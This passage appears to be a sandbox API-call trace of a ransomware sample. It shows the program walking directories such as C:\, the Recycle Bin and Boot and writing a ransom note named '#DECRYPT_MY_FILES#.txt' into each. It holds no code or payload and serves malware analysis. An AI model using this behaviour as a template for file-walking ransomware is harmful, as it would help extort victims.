Flags=0x0, Size=0x8) returned 0x813430 [0031.583] GetLastError () returned 0x0 [0031.583] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0xb8) returned 0x80f980 [0031.583] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x6a6) returned 0x823f70 [0031.583] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823f70 | out: hHeap=0x7f0000) returned 1 [0031.583] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0031.583] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806678 | out: hHeap=0x7f0000) returned 1 [0031.583] GetLastError () returned 0x0 [0031.583] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x6) returned 0x813420 [0031.583] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x2) returned 0x813410 [0031.583] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x4) returned 0x813480 [0031.583] GetLastError () returned 0x0 [0031.583] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0xb8) returned 0x806668 [0031.583] GetLastError () returned 0x0 [0031.583] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x6a6) returned 0x823f70 [0031.583] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823f70 | out: hHeap=0x7f0000) returned 1 [0031.583] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x813420 | out: hHeap=0x7f0000) returned 1 [0031.583] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80f980 | out: hHeap=0x7f0000) returned 1 [0031.583] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x813480 | out: hHeap=0x7f0000) returned 1 [0031.583] GetLastError () returned 0x0 [0031.583] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x6) returned 0x813480 [0031.583] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x2) returned 0x813420 [0031.583] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x4) returned 0x813470 [0031.583] GetLastError () returned 0x0 [0031.583] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0xb8) returned 0x80f980 [0031.583] GetLastError () returned 0x0 [0031.584] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x6a6) returned 0x823f70 [0031.584] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823f70 | out: hHeap=0x7f0000) returned 1 [0031.584] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x813480 | out: hHeap=0x7f0000) returned 1 [0031.584] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0031.584] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x813470 | out: hHeap=0x7f0000) returned 1 [0031.584] GetLastError () returned 0x0 [0031.584] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x6) returned 0x813470 [0031.584] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x813420 | out: hHeap=0x7f0000) returned 1 [0031.584] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x813410 | out: hHeap=0x7f0000) returned 1 [0031.584] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813410 [0031.584] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x1000) returned 0x823f70 [0031.584] GetLastError () returned 0x0 [0031.587] FindFirstFileA (in: lpFileName="C:\\\\*", lpFindFileData=0x42eb90 | out: lpFindFileData=0x42eb90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5cee140, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb5cee140, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5cee140, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x300, dwReserved1=0x42e978, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 0x81aa30 [0031.587] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.587] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b1d0 [0031.587] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b1d0 | out: hHeap=0x7f0000) returned 1 [0031.587] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b1d0 [0031.587] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b1d0 | out: hHeap=0x7f0000) returned 1 [0031.587] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.587] FindNextFileA (in: hFindFile=0x81aa30, lpFindFileData=0x42eb90 | out: lpFindFileData=0x42eb90*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x300, dwReserved1=0x42e978, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0031.588] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.588] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b1d0 [0031.588] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b1d0 | out: hHeap=0x7f0000) returned 1 [0031.588] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.588] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.588] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x780) returned 0x8247f0 [0031.588] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b1d0 [0031.588] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.588] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b1d0 | out: hHeap=0x7f0000) returned 1 [0031.588] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0031.588] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0031.588] AreFileApisANSI () returned 1 [0031.588] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 40 [0031.588] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80db30 [0031.588] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x80db30, cchWideChar=40 | out: lpWideCharStr="C:\\\\$Recycle.Bin\\#DECRYPT_MY_FILES#.txt") returned 40 [0031.588] CreateFileW (lpFileName="C:\\\\$Recycle.Bin\\#DECRYPT_MY_FILES#.txt" (normalized: "c:\\$recycle.bin\\#decrypt_my_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x42df30, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0031.590] GetFileType (hFile=0x78) returned 0x1 [0031.590] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.590] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x1000) returned 0x824f78 [0031.590] GetLastError () returned 0x0 [0031.591] FindFirstFileA (in: lpFileName="C:\\\\$Recycle.Bin\\*", lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb5d142a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5d142a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff, dwReserved1=0x42e010, cFileName=".", cAlternateFileName="")) returned 0x81af40 [0031.591] FindNextFileA (in: hFindFile=0x81af40, lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb5d142a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5d142a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff, dwReserved1=0x42e010, cFileName="..", cAlternateFileName="")) returned 1 [0031.591] FindNextFileA (in: hFindFile=0x81af40, lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5d142a0, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb5d142a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5d142a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x4ff, dwReserved1=0x42e010, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0031.591] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.591] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823770 [0031.591] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823770 | out: hHeap=0x7f0000) returned 1 [0031.591] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.591] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.591] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823738 | out: hHeap=0x7f0000) returned 1 [0031.591] FindNextFileA (in: hFindFile=0x81af40, lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff, dwReserved1=0x42e010, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0031.591] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x810fc0 [0031.591] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x810f78 [0031.591] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x810f30 [0031.592] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x810f78 | out: hHeap=0x7f0000) returned 1 [0031.592] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x810f30 | out: hHeap=0x7f0000) returned 1 [0031.592] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x810fc0 | out: hHeap=0x7f0000) returned 1 [0031.592] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x810fc0 [0031.592] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x780) returned 0x8257f8 [0031.592] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80db30 [0031.592] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x77) returned 0x801350 [0031.592] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.592] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0031.592] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0031.592] AreFileApisANSI () returned 1 [0031.592] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0031.592] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xae) returned 0x806668 [0031.592] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x806668, cchWideChar=87 | out: lpWideCharStr="C:\\\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\#DECRYPT_MY_FILES#.txt") returned 87 [0031.592] CreateFileW (lpFileName="C:\\\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\#DECRYPT_MY_FILES#.txt" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\#decrypt_my_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x42d5c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108 [0031.593] GetFileType (hFile=0x108) returned 0x1 [0031.593] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0031.593] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x1000) returned 0x825f80 [0031.593] GetLastError () returned 0x0 [0031.594] FindFirstFileA (in: lpFileName="C:\\\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb5d142a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5d142a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2fe, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x8066f8 [0031.594] FindNextFileA (in: hFindFile=0x8066f8, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb5d142a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5d142a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2fe, dwReserved1=0x42d6a8, cFileName="..", cAlternateFileName="")) returned 1 [0031.594] FindNextFileA (in: hFindFile=0x8066f8, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5d142a0, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb5d142a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5d142a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x2fe, dwReserved1=0x42d6a8, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0031.594] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x815fa0 [0031.594] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x806668 [0031.594] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0031.594] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.594] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.594] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x815fa0 | out: hHeap=0x7f0000) returned 1 [0031.594] FindNextFileA (in: hFindFile=0x8066f8, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x806660, dwReserved1=0x42d748, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0031.594] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80db30 [0031.594] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80dd40 [0031.594] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80dd40 | out: hHeap=0x7f0000) returned 1 [0031.594] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.594] FindNextFileA (in: hFindFile=0x8066f8, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x806660, dwReserved1=0x42d748, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0031.594] FindClose (in: hFindFile=0x8066f8 | out: hFindFile=0x8066f8) returned 1 [0031.594] FindNextFileA (in: hFindFile=0x81af40, lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff, dwReserved1=0x42e010, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0031.594] FindClose (in: hFindFile=0x81af40 | out: hFindFile=0x81af40) returned 1 [0031.594] FindNextFileA (in: hFindFile=0x81aa30, lpFindFileData=0x42eb90 | out: lpFindFileData=0x42eb90*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x300, dwReserved1=0x42e978, cFileName="Boot", cAlternateFileName="")) returned 1 [0031.594] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x780) returned 0x8247f0 [0031.595] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.595] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0031.595] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0031.595] AreFileApisANSI () returned 1 [0031.595] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81b400, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 32 [0031.595] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x810fc0 [0031.595] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81b400, cbMultiByte=-1, lpWideCharStr=0x810fc0, cchWideChar=32 | out: lpWideCharStr="C:\\\\Boot\\#DECRYPT_MY_FILES#.txt") returned 32 [0031.595] CreateFileW (lpFileName="C:\\\\Boot\\#DECRYPT_MY_FILES#.txt" (normalized: "c:\\boot\\#decrypt_my_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x42df30, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0031.595] GetFileType (hFile=0x78) returned 0x1 [0031.595] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x810fc0 | out: hHeap=0x7f0000) returned 1 [0031.596] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x1000) returned 0x824f78 [0031.596] GetLastError () returned 0x0 [0031.597] FindFirstFileA (in: lpFileName="C:\\\\Boot\\*", lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb5d142a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5d142a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff, dwReserved1=0x42e010, cFileName=".", cAlternateFileName="")) returned 0x81af40 [0031.597] FindNextFileA (in: hFindFile=0x81af40, lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb5d142a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5d142a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff, dwReserved1=0x42e010, cFileName="..", cAlternateFileName="")) returned 1 [0031.597] FindNextFileA (in: hFindFile=0x81af40, lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5d142a0, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb5d142a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5d142a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x4ff, dwReserved1=0x42e010, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0031.597] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.597] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b1d0 [0031.597] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b1d0 | out: hHeap=0x7f0000) returned 1 [0031.597] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b1d0 [0031.597] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b1d0 | out: hHeap=0x7f0000) returned 1 [0031.597] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.597] FindNextFileA (in: hFindFile=0x81af40, lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x4ff, dwReserved1=0x42e010, cFileName="BCD", cAlternateFileName="")) returned 1 [0031.597] FindNextFileA (in: hFindFile=0x81af40, lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x4ff, dwReserved1=0x42e010, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0031.597] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.597] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b1d0 [0031.597] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b1d0 | out: hHeap=0x7f0000) returned 1 [0031.597] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.597] FindNextFileA (in: hFindFile=0x81af40, lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff, dwReserved1=0x42e010, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0031.597] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.597] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b1d0 [0031.597] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b1d0 | out: hHeap=0x7f0000) returned 1 [0031.597] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.597] FindNextFileA (in: hFindFile=0x81af40, lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff, dwReserved1=0x42e010, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0031.597] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.597] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b1d0 [0031.597] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b1d0 | out: hHeap=0x7f0000) returned 1 [0031.597] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.597] FindNextFileA (in: hFindFile=0x81af40, lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x4ff, dwReserved1=0x42e010, 